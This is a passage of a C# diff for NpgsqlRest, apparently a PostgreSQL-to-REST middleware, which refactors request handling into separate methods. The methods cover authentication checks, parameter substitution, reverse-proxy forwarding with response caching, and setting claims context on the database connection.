to run without credentials when the primary had none), or a path whose + // overloads do not all use Basic Auth (the public ones used to be challenged by the primary's). + if (ReferenceEquals(s.basicAuthCheckedFor, endpoint) is false && endpoint.BasicAuth?.Enabled is true) + { + if (endpoint.BasicAuth.ChallengeCommand is not null || Options.AuthenticationOptions.BasicAuth.ChallengeCommand is not null) + { + await OpenConnectionAsync(connection, context, endpoint, cancellationToken); + } + await BasicAuthHandler.HandleAsync(context, endpoint, connection, cancellationToken); + if (context.Response.HasStarted is true) + { + return false; + } + } + + // authorization check for the endpoint the request resolved to (it may be an overload) + if (endpoint.Login is false + && await RejectUnauthorizedAsync(context, endpoint, checkAuthentication: true, checkRoles: true)) + { + return false; + } + + if (formatter.IsFormattable is true) + { + if (formatter.RefContext) { - cmdLog = StringBuilderPool.Rent(); - cmdLog.Append("-- "); - cmdLog.Append(context.Request.Method); - cmdLog.Append(' '); - if (Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && endpoint.IsAuth) + commandText = formatter.FormatCommand(routine, command.Parameters, context); + if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) { - cmdLog.Append(context.Request.Scheme); - cmdLog.Append("://"); - cmdLog.Append(context.Request.Host); - cmdLog.Append(context.Request.Path); + return false; } - else + } + else + { + commandText = formatter.FormatCommand(routine, command.Parameters); + } + } + if (formatter.IsFormattable is false) + { + if (formatter.RefContext) + { + commandTextBuilder!.Append(formatter.AppendEmpty(context)); + if (formatter.IsFormattable) { - cmdLog.Append(context.Request.GetDisplayUrl()); + if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } } - cmdLog.Append(Environment.NewLine); } - - if (formatter.IsFormattable is false) + else { - // Use pooled StringBuilder for non-formattable commands to avoid string.Concat allocations - commandTextBuilder = StringBuilderPool.Rent(routine.Expression.Length + routine.ParamCount * 16); - commandTextBuilder.Append(routine.Expression); + commandTextBuilder!.Append(formatter.AppendEmpty()); } - - // paramsList - bool hasNulls = false; - int paramIndex = 0; - JsonObject? jsonObj = null; - Dictionary? bodyDict = null; - string? body = null; - // Use IQueryCollection directly to avoid ToDictionary() allocation - IQueryCollection? queryCollection = null; - // Skip local upload handling if proxy will forward the upload content - var skipUploadForProxy = endpoint.Upload is true && - endpoint.IsProxy && - Options.ProxyOptions.Enabled && - Options.ProxyOptions.ForwardUploadContent; - uploadHandler = (endpoint.Upload is true && !skipUploadForProxy) ? endpoint.CreateUploadHandler() : null; - int uploadMetaParamIndex = -1; - Dictionary? claimsDict = null; - List customHttpTypes = Options.HttpClientOptions.Enabled ? new(routine.Parameters.Length) : null!; + // Convert StringBuilder to string for final commandText + commandText = commandTextBuilder.ToString(); + } + + s.commandText = commandText; + if (commandText is null) + { + s.shouldCommit = false; + s.uploadHandler?.OnError(connection, context, null); + context.Response.StatusCode = StatusCodes.Status404NotFound; + await context.Response.CompleteAsync(); + return false; + } - if (endpoint.Cached is true) + // Resolve parameter expressions: execute SQL expressions to fill resolved parameter values + if (endpoint.ResolvedParameterExpressions is not null && endpoint.ResolvedParameterExpressions.Count > 0) + { + await OpenConnectionAsync(connection, context, endpoint, cancellationToken); + foreach (var (resolvedParamName, sqlExpression) in endpoint.ResolvedParameterExpressions) { - var prefixLen = endpoint.CacheKeyPrefix?.Length ?? 0; - cacheKeys = StringBuilderPool.Rent(routine.Expression.Length + prefixLen + (endpoint.CachedParams?.Count ?? 0) * 32); - if (endpoint.CacheKeyPrefix is not null) + var (parameterizedSql, sqlParams) = Formatter.ParameterizeSqlExpression(sqlExpression, command.Parameters); + await using var resolveCmd = new NpgsqlCommand(parameterizedSql, connection); + for (int p = 0; p < sqlParams.Count; p++) { - cacheKeys.Append(endpoint.CacheKeyPrefix); - cacheKeys.Append(NpgsqlRestParameter.GetCacheKeySeparator()); + resolveCmd.Parameters.Add(new NpgsqlParameter { Value = sqlParams[p].Value ?? DBNull.Value }); } - cacheKeys.Append(routine.Expression); - } + var resolvedValue = await resolveCmd.ExecuteScalarAsync(cancellationToken); - if (endpoint.RequestParamType == RequestParamType.QueryString) - { - queryCollection = context.Request.Query; + // Update the parameter value in the main command + for (int p = 0; p < command.Parameters.Count; p++) + { + var param = (NpgsqlRestParameter)command.Parameters[p]; + if (string.Equals(param.ActualName, resolvedParamName, StringComparison.OrdinalIgnoreCase) || + string.Equals(param.ConvertedName, resolvedParamName, StringComparison.OrdinalIgnoreCase)) + { + param.Value = resolvedValue ?? DBNull.Value; + break; + } + } } - if (endpoint.HasBodyParameter || endpoint.RequestParamType == RequestParamType.BodyJson) - { - context.Request.EnableBuffering(); - context.Request.Body.Position = 0; + } - using (var reader = new StreamReader(context.Request.Body, Encoding.UTF8, detectEncodingFromByteOrderMarks: false, leaveOpen: true)) + Dictionary? customParameters = endpoint.CustomParameters; + Dictionary.AlternateLookup>? lookup = null; + // HTTP Custom Type URLs get their own lookup: values that come from the request are percent-encoded there + // (env var values - operator configuration such as a base URL - are not), so a request value cannot + // change the outbound request's path, query or host. + Dictionary.AlternateLookup>? urlLookup = null; + if (endpoint.HeadersNeedParsing is true || endpoint.CustomParamsNeedParsing || HttpClientTypes.NeedsParsing) + { + // Case-insensitive so `{name}` placeholders match parameter names regardless of casing, + // consistent with the resolved-parameter SQL expression resolver (Formatter.ParameterizeSqlExpression). + var envVars = Options.SubstitutionEnvironmentVariables; + Dictionary replacements = new(command.Parameters.Count * 4 + (envVars?.Count ?? 0), StringComparer.OrdinalIgnoreCase); + Dictionary? urlReplacements = HttpClientTypes.NeedsParsing + ? new(command.Parameters.Count * 4 + (envVars?.Count ?? 0), StringComparer.OrdinalIgnoreCase) + : null; + // Allowlisted env vars first (base); parameter values added below overwrite them on a name + // collision, so a routine parameter always wins over an env var of the same name. + // Entries under a "!NAME" key mark names that resolved to a real value - that is what the + // {!NAME}/{!NAME:fallback} forms key off in Formatter.TryResolveToken. + if (envVars is not null) + { + foreach (var (name, value) in envVars) { - body = await reader.ReadToEndAsync(cancellationToken); + replacements[name] = value; + if (urlReplacements is not null) + { + urlReplacements[name] = value; + } } - if (endpoint.RequestParamType == RequestParamType.BodyJson) + } + for (var i = 0; i < command.Parameters.Count; i++) + { + var isNull = command.Parameters[i].Value is null || command.Parameters[i].Value == DBNull.Value; + var value = isNull ? "" : command.Parameters[i].Value?.ToString() ?? ""; + var param = (NpgsqlRestParameter)command.Parameters[i]; + // A parameter wins over an env var in BOTH forms: a non-null value registers its own + // "!name" key; a null value removes any "!name" an env var of the same name left behind, + // so {!name:fallback} then yields the fallback instead of the env value. + var urlValue = urlReplacements is null ? null : Uri.EscapeDataString(value); + void AddParam(string key) { - JsonNode? node = null; - try + replacements[key] = value; + if (isNull is false) { - node = JsonNode.Parse(string.IsNullOrWhiteSpace(body) ? "{}" : body); + replacements[string.Concat("!", key)] = value; } - catch (JsonException e) + else if (envVars is not null) { - Logger?.CouldNotParseJson(body, context.Request.Path, e.Message); - node = null; + replacements.Remove(string.Concat("!", key)); } - if (node is not null) + if (urlReplacements is not null) { - try + urlReplacements[key] = urlValue!; + if (isNull is false) { - jsonObj = node?.AsObject(); - bodyDict = jsonObj?.ToDictionary(); + urlReplacements[string.Concat("!", key)] = urlValue!; } - catch (Exception e) + else if (envVars is not null) { - Logger?.CouldNotParseJson(body, context.Request.Path, e.Message); - bodyDict = null; + urlReplacements.Remove(string.Concat("!", key)); } } } + if (!string.IsNullOrEmpty(param.ActualName)) + { + AddParam(param.ActualName); + } + AddParam(param.ConvertedName); + if (param.TypeDescriptor.CustomTypeName is not null) + { + AddParam(param.TypeDescriptor.CustomTypeName); + } } + lookup = replacements.GetAlternateLookup>(); + urlLookup = urlReplacements?.GetAlternateLookup>(); + } - // start query string parameters - if (endpoint.RequestParamType == RequestParamType.QueryString) + if (endpoint.HeadersNeedParsing is true || endpoint.CustomParamsNeedParsing) + { + if (endpoint.CustomParamsNeedParsing && endpoint.CustomParameters is not null) { - // Early-return guard: queryCollection is non-null for the rest of this block (later - // dereferences use `!` where the compiler's flow analysis loses the narrowing). - if (queryCollection is null) + customParameters = new Dictionary(endpoint.CustomParameters.Count, StringComparer.OrdinalIgnoreCase); + foreach (var (key, value) in endpoint.CustomParameters) { - shouldCommit = false; - uploadHandler?.OnError(connection, context, null); - context.Response.StatusCode = StatusCodes.Status404NotFound; - await context.Response.CompleteAsync(); - return; + // SQL-valued parameters (row_command) are never formatted: request values in SQL text = SQL injection. + customParameters[key] = Defaults.DefaultCommentParser.IsSqlCustomParameter(key) + ? value + : Formatter.FormatString(value, lookup!.Value).ToString(); } + } + } - // Account for path parameters when counting query string parameters - var pathParamCount = endpoint.PathParameters?.Length ?? 0; - if (queryCollection.Count + pathParamCount != routine.ParamCount && overloads.Count > 0) + if (endpoint.ResponseContentType is not null || endpoint.ResponseHeaders.Count > 0) + { + if (endpoint.HeadersNeedParsing is true) + { + if (endpoint.ResponseContentType is not null) { - if (overloads.TryGetValue(string.Concat(entry.Key, queryCollection.Count + pathParamCount), out var overload)) + context.Response.ContentType = Formatter.FormatString(endpoint.ResponseContentType, lookup!.Value).ToString(); + } + if (endpoint.ResponseHeaders.Count > 0) + { + foreach (var (headerKey, headerValue) in endpoint.ResponseHeaders) { - routine = overload.Endpoint.Routine; - endpoint = overload.Endpoint; - formatter = overload.Formatter; - if (formatter.IsFormattable is false) - { - // Reinitialize commandTextBuilder for the new routine - commandTextBuilder?.Clear(); - if (commandTextBuilder is null) - { - commandTextBuilder = StringBuilderPool.Rent(routine.Expression.Length + routine.ParamCount * 16); - } - commandTextBuilder.Append(routine.Expression); - } + context.Response.Headers.Append(headerKey, Formatter.FormatString(headerValue.ToString(), lookup!.Value).ToString()); + } + } + } + else + { + if (endpoint.ResponseContentType is not null) + { + context.Response.ContentType = endpoint.ResponseContentType; + } + if (endpoint.ResponseHeaders.Count > 0) + { + foreach (var (headerKey, headerValue) in endpoint.ResponseHeaders) + { + context.Response.Headers.Append(headerKey, headerValue); } } + } + } + + if (Options.HttpClientOptions.Enabled && customHttpTypes.Count > 0) + { + // Set self base URL for relative path resolution (lazy, once) + if (HttpClientTypeHandler.SelfBaseUrl is null) + { + if (Options.HttpClientOptions.SelfBaseUrl is not null) + { + HttpClientTypeHandler.SelfBaseUrl = Options.HttpClientOptions.SelfBaseUrl.TrimEnd('/'); + } + else + { + var server = context.RequestServices.GetService(typeof(Microsoft.AspNetCore.Hosting.Server.IServer)) as Microsoft.AspNetCore.Hosting.Server.IServer; + var addresses = server?.Features.Get(); + var addr = addresses?.Addresses.FirstOrDefault(); + HttpClientTypeHandler.SelfBaseUrl = addr ?? $"{context.Request.Scheme}://{context.Request.Host}"; + } + } + await HttpClientTypeHandler.InvokeAllAsync(customHttpTypes, lookup, command.Parameters, cancellationToken, urlLookup); + } + + // A proxied response depends on the whole forwarded request, not only on the routine parameters: + // query string keys that are not routine parameters are forwarded too, and so is the request body. + if (cacheKeys is not null && endpoint.IsProxy) + { + var rawQuery = context.Request.QueryString.Value ?? ""; + cacheKeys.Append(NpgsqlRestParameter.GetCacheKeySeparator()).Append("?=").Append(rawQuery.Length).Append(':').Append(rawQuery); + if (body is not null) + { + cacheKeys.Append(NpgsqlRestParameter.GetCacheKeySeparator()).Append("body=").Append(body.Length).Append(':').Append(body); + } + } - for (int i = 0; i < routine.Parameters.Length; i++) + // Cache the cache key string once to avoid repeated ToString() allocations + string? cacheKeyString = cacheKeys?.ToString(); + + // Resolve cache backend: profile's instance if set, otherwise the root DefaultRoutineCache. + var resolvedCache = endpoint.ResolvedCache ?? Options.CacheOptions.DefaultRoutineCache; + + // Evaluate the When rules once. First match decides: + // - Skip = true → bypass cache entirely (no read, no write). + // - Skip = false → use rule's TTL override when writing (read still hits cache normally). + // - No match → no override; endpoint.CacheExpiresIn is used. + // Invalidation requests are NOT subject to bypass — they must always remove on demand. + var whenResult = endpoint.InvalidateCache is false ? EvaluateCacheWhenRules(endpoint, command) : default; + bool bypassCache = whenResult.Skip; + TimeSpan? cacheTtlOverride = whenResult.Skip ? null : whenResult.TtlOverride; + + s.customParameters = customParameters; + s.cacheKeyString = cacheKeyString; + s.resolvedCache = resolvedCache; + s.bypassCache = bypassCache; + s.cacheTtlOverride = cacheTtlOverride; + return true; + } + + /// + /// Reverse proxy endpoints: forwards the request upstream. Returns true when the routine still has to run (the + /// upstream response was mapped to its parameters), false when the proxied response was written. + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder<>))] + private async ValueTask ProxyAsync(RequestState s) + { + // Locals, not the pooled request state: the cache factory below captures them. + var context = s.context; + var cancellationToken = s.cancellationToken; + var endpoint = s.endpoint; + var command = s.command; + var body = s.body; + var shouldLog = s.shouldLog; + var cmdLog = s.cmdLog; + var commandText = s.commandText!; + var resolvedCache = s.resolvedCache; + var cacheKeyString = s.cacheKeyString; + var bypassCache = s.bypassCache; + var cacheTtlOverride = s.cacheTtlOverride; + var claimsDict = s.claimsDict; + + // Handle reverse proxy endpoints + if (endpoint.IsProxy && Options.ProxyOptions.Enabled) + { + // Set self base URL for relative path proxy resolution (lazy, once) + if (Proxy.ProxyRequestHandler.SelfBaseUrl is null) + { + if (Options.ProxyOptions.SelfBaseUrl is not null) + { + Proxy.ProxyRequestHandler.SelfBaseUrl = Options.ProxyOptions.SelfBaseUrl.TrimEnd('/'); + } + else { - var parameter = routine.Parameters[i].NpgsqlRestParameterMemberwiseClone(); + var proxyServer = context.RequestServices.GetService(typeof(Microsoft.AspNetCore.Hosting.Server.IServer)) as Microsoft.AspNetCore.Hosting.Server.IServer; + var proxyAddresses = proxyServer?.Features.Get(); + var proxyAddr = proxyAddresses?.Addresses.FirstOrDefault(); + Proxy.ProxyRequestHandler.SelfBaseUrl = proxyAddr ?? $"{context.Request.Scheme}://{context.Request.Host}"; + } + } + + // Passthrough proxy endpoints (those without proxy response parameters) may be cached; + // the cache read/execute/coalesce is handled at the InvokeAsync call below. + bool isPassthroughProxy = !endpoint.HasProxyResponseParameters; + + // Build user context headers if UserContext is enabled + Dictionary? userContextHeaders = null; + if (endpoint.UserContext is true) + { + userContextHeaders = []; + claimsDict = s.claimsDict ??= context.User.BuildClaimsDictionary(Options.AuthenticationOptions); - // Resolved parameter: skip HTTP filling, set to DBNull.Value placeholder. - // The actual value will be resolved via SQL expression after the parameter loop. - if (endpoint.ResolvedParameterExpressions is not null && - (endpoint.ResolvedParameterExpressions.ContainsKey(parameter.ActualName) || - endpoint.ResolvedParameterExpressions.ContainsKey(parameter.ConvertedName))) + // Add IP address header + if (Options.AuthenticationOptions.IpAddressContextKey is not null) + { + var ipAddress = context.Request.GetClientIpAddress(); + if (!string.IsNullOrEmpty(ipAddress)) { - parameter.Value = DBNull.Value; - if (Options.HttpClientOptions.Enabled) - { - if (parameter.TypeDescriptor.CustomType is not null) - { - if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) - { - customHttpTypes.Add(parameter.TypeDescriptor.CustomType); - } - } - } - if (!parameter.IsVirtual) command.Parameters.Add(parameter); - hasNulls = true; - if (formatter.IsFormattable is false) - { - if (formatter.RefContext) - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex, context)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - else - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex)); - } - } - paramIndex++; - if (shouldLog && Options.LogCommandParameters) - { - cmdLog!.Append("-- $").Append(paramIndex).Append(' ') - .Append(parameter.TypeDescriptor.OriginalType) - .Append(" = (resolved)").AppendLine(); - } - continue; + userContextHeaders[Options.AuthenticationOptions.IpAddressContextKey] = ipAddress; } + } - if (parameter.HashOf is not null) + if (context.User?.Identity?.IsAuthenticated is true) + { + // Add claims JSON header + if (Options.AuthenticationOptions.ClaimsJsonContextKey is not null) { - var hashValueQueryCollection = queryCollection!.TryGetValue(parameter.HashOf.ConvertedName, out var hashQsValue) ? hashQsValue.ToString() : null; - if (string.IsNullOrEmpty(hashValueQueryCollection) is true) - { - parameter.Value = DBNull.Value; - } - else + var claimsJson = claimsDict.GetUserClaimsDbParam(); + if (claimsJson is string claimsJsonStr) { - parameter.Value = Options.AuthenticationOptions.PasswordHasher?.HashPassword(hashValueQueryCollection) as object ?? DBNull.Value; + userContextHeaders[Options.AuthenticationOptions.ClaimsJsonContextKey] = claimsJsonStr; } } - if (endpoint.UseUserParameters is true) + + // Add individual claim headers from ContextKeyClaimsMapping + foreach (var mapping in Options.AuthenticationOptions.ContextKeyClaimsMapping) { - if (parameter.IsFromUserClaims is true && claimsDict is null) - { - claimsDict = context.User.BuildClaimsDictionary(Options.AuthenticationOptions); - } - - if (parameter.IsIpAddress is true) - { - parameter.Value = context.Request.GetClientIpAddressDbParam(); - } - else if (context.User?.Identity?.IsAuthenticated is true && Options.AuthenticationOptions.ParameterNameClaimsMapping.TryGetValue(parameter.ActualName, out var claimType)) - { - // Claim auto-bind always wins (security routines depend on it). If the - // request also supplied a value, it would otherwise be silently dropped — - // surface that as a WARN so a parameter naming collision is visible. - if (queryCollection is not null - && (queryCollection.ContainsKey(parameter.ConvertedName) || queryCollection.ContainsKey(parameter.ActualName))) - { - Logger?.ClaimMappedParamReceivedRequestValue( - endpoint.Path, parameter.ActualName, "query", claimType); - } - parameter.Value = claimsDict!.GetClaimDbParam(claimType); - } - else if (context.User?.Identity?.IsAuthenticated is true && parameter.IsUserClaims is true) + var claimValue = claimsDict!.GetClaimDbContextParam(mapping.Value); + if (claimValue is string claimValueStr) { - parameter.Value = claimsDict?.GetUserClaimsDbParam() ?? DBNull.Value; + userContextHeaders[mapping.Key] = claimValueStr; } } - if (parameter.IsUploadMetadata is true) - { - //uploadMetaParamIndex = i; - uploadMetaParamIndex = command.Parameters.Count; // the last one added - parameter.Value = DBNull.Value; - } + } + } - // body parameter - if (parameter.Value is null && endpoint.IsBodyParameter(parameter)) + // Cacheable passthrough proxy: route the upstream call through GetOrCreateAsync so a burst + // of identical requests coalesces into a single upstream call (stampede protection), and + // the response is cached for subsequent hits. + bool proxyCacheable = isPassthroughProxy && endpoint.Cached is true && bypassCache is false && resolvedCache is not null; + if (proxyCacheable) + { + bool factoryRan = false; + var cachedProxy = await resolvedCache!.GetOrCreateAsync( + endpoint, + cacheKeyString!, + async ct => { - if (body is null) - { - parameter.ParamType = ParamType.BodyParam; - parameter.Value = DBNull.Value; - hasNulls = true; + factoryRan = true; + return await Proxy.ProxyRequestHandler.InvokeAsync(context, endpoint, body, command.Parameters, userContextHeaders, ct); + }, + cacheTtlOverride, + cancellationToken); - if (Options.ValidateParameters is not null) - { - Options.ValidateParameters(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (Options.ValidateParametersAsync is not null) - { - await Options.ValidateParametersAsync(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (endpoint.Cached is true && endpoint.CachedParams is not null) - { - if (endpoint.CachedParams.Contains(parameter.ConvertedName) || endpoint.CachedParams.Contains(parameter.ActualName)) - { - cacheKeys?.Append(NpgsqlRestParameter.GetCacheKeySeparator()); - cacheKeys?.Append(parameter.GetCacheStringValue()); - } - } + if (shouldLog && factoryRan is false) + { + cmdLog?.AppendLine("/* proxy response from cache */"); + NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", commandText); + } + if (cachedProxy is Proxy.ProxyResponse cachedProxyResponse) + { + await Proxy.ProxyRequestHandler.WriteResponseAsync(context, cachedProxyResponse, Options.ProxyOptions, cancellationToken); + } + return false; + } - if (Options.HttpClientOptions.Enabled) - { - if (parameter.TypeDescriptor.CustomType is not null) - { - if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) - { - customHttpTypes.Add(parameter.TypeDescriptor.CustomType); - } - } - } - if (!parameter.IsVirtual) command.Parameters.Add(parameter); + var proxyResponse = await Proxy.ProxyRequestHandler.InvokeAsync(context, endpoint, body, command.Parameters, userContextHeaders, cancellationToken); - if (hasNulls is false && parameter.Value == DBNull.Value) - { - hasNulls = true; - } + if (endpoint.HasProxyResponseParameters) + { + // Map proxy response to parameters and continue with routine execution + MapProxyResponseToParameters(proxyResponse, command.Parameters, endpoint); + } + else + { + // No proxy parameters and not cacheable - return proxy response directly without PostgreSQL. + await Proxy.ProxyRequestHandler.WriteResponseAsync(context, proxyResponse, Options.ProxyOptions, cancellationToken); + return false; + } + } + return true; + } - if (formatter.IsFormattable is false) - { - if (formatter.RefContext) - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex, context)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - else - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex)); - } - } - paramIndex++; - if (shouldLog && Options.LogCommandParameters) - { - var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && endpoint.IsAuth ? - "***" : - FormatParameterForLog(parameter); - cmdLog!.Append("-- $").Append(paramIndex).Append(' ') - .Append(parameter.TypeDescriptor.OriginalType) - .Append(" = ").AppendLine(p); - } - } - else - { - StringValues bodyStringValues = body; - if (TryParseParameter(parameter, ref bodyStringValues, endpoint.QueryStringNullHandling)) - { - parameter.ParamType = ParamType.BodyParam; - hasNulls = false; + /// + /// Sets the request context on the connection before the routine runs: request headers, user claims and IP + /// address, BeforeRoutineCommands, and the request transaction when WrapInTransaction is on. Does nothing (and + /// does not open the connection) when none of them applies. + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask SetRequestContextAsync(RequestState s) + { + var context = s.context; + var cancellationToken = s.cancellationToken; + var endpoint = s.endpoint; + var connection = s.connection!; + var headers = s.headers; + var transaction = s.transaction; + var claimsDict = s.claimsDict; + + // Set user context BEFORE upload so that upload row commands can access user claims. + // Also runs BeforeRoutineCommands and (when WrapInTransaction is true) opens the request transaction here. + bool willSetHeadersContext = endpoint.RequestHeadersMode == RequestHeadersMode.Context && headers is not null && Options.RequestHeadersContextKey is not null; + bool willSetUserContext = endpoint.UserContext is true && ( + Options.AuthenticationOptions.IpAddressContextKey is not null + || (context.User?.Identity?.IsAuthenticated is true && + (Options.AuthenticationOptions.ClaimsJsonContextKey is not null || Options.AuthenticationOptions.ContextKeyClaimsMapping.Count > 0)) + ); + bool willRunBeforeRoutineCommands = Options.BeforeRoutineCommands.Length > 0; + if (willSetHeadersContext || willSetUserContext || willRunBeforeRoutineCommands || Options.WrapInTransaction) + { + // The keys and values this request passes to PostgreSQL - the same whichever way they are sent. + List<(string Key, object? Value)>? contextPairs = null; + if (willSetHeadersContext || willSetUserContext || willRunBeforeRoutineCommands) + { + contextPairs = CollectRequestContext(s, willSetHeadersContext); + claimsDict = s.claimsDict; + } - if (Options.ValidateParameters is not null) - { - Options.ValidateParameters(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (Options.ValidateParametersAsync is not null) - { - await Options.ValidateParametersAsync(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (endpoint.Cached is true && endpoint.CachedParams is not null) - { - if (endpoint.CachedParams.Contains(parameter.ConvertedName) || endpoint.CachedParams.Contains(parameter.ActualName)) - { - cacheKeys?.Append(NpgsqlRestParameter.GetCacheKeySeparator()); - cacheKeys?.Append(parameter.GetCacheStringValue()); - } - } - - if (Options.HttpClientOptions.Enabled) - { - if (parameter.TypeDescriptor.CustomType is not null) - { - if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) - { - customHttpTypes.Add(parameter.TypeDescriptor.CustomType); - } - } - } - if (!parameter.IsVirtual) command.Parameters.Add(parameter); - if (hasNulls is false && parameter.Value == DBNull.Value) - { - hasNulls = true; - } + // ContextInRoutineBatch was decided when the endpoints were built, from these same options; they are + // checked again because options are mutable and all three change what has to run on the connection. + if (contextPairs is { Count: > 0 } + && endpoint.ContextInRoutineBatch + && transaction is null + && willRunBeforeRoutineCommands is false + && Options.WrapInTransaction is false + && Options.CommandCallbackAsync is null) + { + // The settings go to PostgreSQL together with the routine, local to that one batch: no round trip + // here (the connection is not even opened yet), and nothing stays on the connection afterwards. + // See RequestContextBatch. + s.contextWithRoutine = true; + return; + } - if (formatter.IsFormattable is false) - { - if (formatter.RefContext) - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex, context)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - else - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex)); - } - } - paramIndex++; - if (shouldLog && Options.LogCommandParameters) - { - var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && endpoint.IsAuth ? - "***" : - FormatParameterForLog(parameter); - cmdLog!.Append("-- $").Append(paramIndex).Append(' ') - .Append(parameter.TypeDescriptor.OriginalType) - .Append(" = ").AppendLine(p); - } - } - } - continue; - } + if (connection.State != ConnectionState.Open) + { + if (Options.BeforeConnectionOpen is not null) + { + Options.BeforeConnectionOpen(connection, endpoint, context); + } + await connection.OpenRetryAsync(Options.ConnectionRetryOptions, cancellationToken); + } - // header parameter - if (parameter.Value is null && - endpoint.RequestHeadersMode == RequestHeadersMode.Parameter && - parameter.TypeDescriptor.HasDefault is true && - ( - string.Equals(endpoint.RequestHeadersParameterName, parameter.ConvertedName, StringComparison.Ordinal) || - string.Equals(endpoint.RequestHeadersParameterName, parameter.ActualName, StringComparison.Ordinal) - ) - ) - { - if (queryCollection!.ContainsKey(parameter.ConvertedName) is false) - { - if (headers is null) - { - SearializeHeader(Options, context, ref headers); - } - parameter.ParamType = ParamType.HeaderParam; - parameter.Value = headers; + if (Options.WrapInTransaction && transaction is null) + { + transaction = s.transaction = await connection.BeginTransactionAsync(cancellationToken); + } - if (Options.ValidateParameters is not null) - { - Options.ValidateParameters(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (Options.ValidateParametersAsync is not null) - { - await Options.ValidateParametersAsync(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (endpoint.Cached is true && endpoint.CachedParams is not null) - { - if (endpoint.CachedParams.Contains(parameter.ConvertedName) || endpoint.CachedParams.Contains(parameter.ActualName)) - { - cacheKeys?.Append(NpgsqlRestParameter.GetCacheKeySeparator()); - cacheKeys?.Append(parameter.GetCacheStringValue()); - } - } - - if (Options.HttpClientOptions.Enabled) - { - if (parameter.TypeDescriptor.CustomType is not null) - { - if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) - { - customHttpTypes.Add(parameter.TypeDescriptor.CustomType); - } - } - } - if (!parameter.IsVirtual) command.Parameters.Add(parameter); + string setContextSql = transaction is not null ? Consts.SetContextLocal : Consts.SetContext; - if (hasNulls is false && parameter.Value == DBNull.Value) - { - hasNulls = true; - } + if (willSetHeadersContext || willSetUserContext || willRunBeforeRoutineCommands) + { + await using var batch = NpgsqlRestBatch.Create(connection); - if (formatter.IsFormattable is false) - { - if (formatter.RefContext) - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex, context)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - else - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex)); - } - } - paramIndex++; - if (shouldLog && Options.LogCommandParameters) + foreach (var (key, value) in contextPairs!) + { + var cmd = new NpgsqlBatchCommand(setContextSql); + cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(key)); + cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(value)); + batch.BatchCommands.Add(cmd); + } + + if (willRunBeforeRoutineCommands) + { + foreach (var beforeCmd in Options.BeforeRoutineCommands) + { + var cmd = new NpgsqlBatchCommand(beforeCmd.Sql); + foreach (var p in beforeCmd.Parameters) + { + object value; + switch (p.Source) { - var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && endpoint.IsAuth ? - "***" : - FormatParameterForLog(parameter); - cmdLog!.Append("-- $").Append(paramIndex).Append(' ') - .Append(parameter.TypeDescriptor.OriginalType) - .Append(" = ").AppendLine(p); + case BeforeRoutineCommandParameterSource.Claim: + claimsDict = s.claimsDict ??= context.User.BuildClaimsDictionary(Options.AuthenticationOptions); + value = p.Name is null ? DBNull.Value : claimsDict!.GetClaimDbContextParam(p.Name); + break; + case BeforeRoutineCommandParameterSource.RequestHeader: + value = p.Name is not null && context.Request.Headers.TryGetValue(p.Name, out var headerValue) + ? (object)headerValue.ToString() + : DBNull.Value; + break; + case BeforeRoutineCommandParameterSource.IpAddress: + value = context.Request.GetClientIpAddressDbParam(); + break; + default: + value = DBNull.Value; + break; } - - continue; + cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(value)); } + batch.BatchCommands.Add(cmd); } + } - // path parameter - extract from RouteValues - if (parameter.Value is null && endpoint.HasPathParameters) - { - // Use optimized O(1) lookup via HashSet - string? matchedPathParam = endpoint.FindMatchingPathParameter(parameter.ConvertedName, parameter.ActualName); + await batch.ExecuteBatchWithRetryAsync(endpoint.RetryStrategy, cancellationToken); + } + } + } - // Try to get route value using the 